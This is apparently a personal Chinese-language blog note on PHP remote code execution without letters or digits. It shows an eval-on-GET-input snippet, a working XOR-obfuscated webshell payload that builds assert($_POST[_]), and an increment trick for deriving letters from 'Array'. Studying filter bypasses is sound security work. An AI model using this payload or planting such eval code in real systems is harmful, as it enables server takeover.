无数字无字母RCE
liduoan.efls Engineer

无数字无字母RCE

这一篇我写的特别丑陋,推荐别点开。

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

常见的该类型代码如下:

1
2
3
4
5
6
<?php
if(!preg_match('/[a-zA-Z0-9]/is',$_GET['shell'])){
eval($_GET['shell']);
}

?>

核心思路,将非字母非数字的字符进行各种变换,最好构造出a-z任意一个字符。利用PHP允许动态函数执行的特点,拼接一个函数名,然后动态执行。

P神说了可以有三种方法实现

1、异或

PHP的字符串,两个字符串异或的结果是一个新的字符串。【我不明白其中原理

写写脚本吧

image

也可以像P神一样查出每个字母 拼接就好

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

方法三、

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

image

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

image

再取这个字符串的第一个字母,就可以获得’A’了。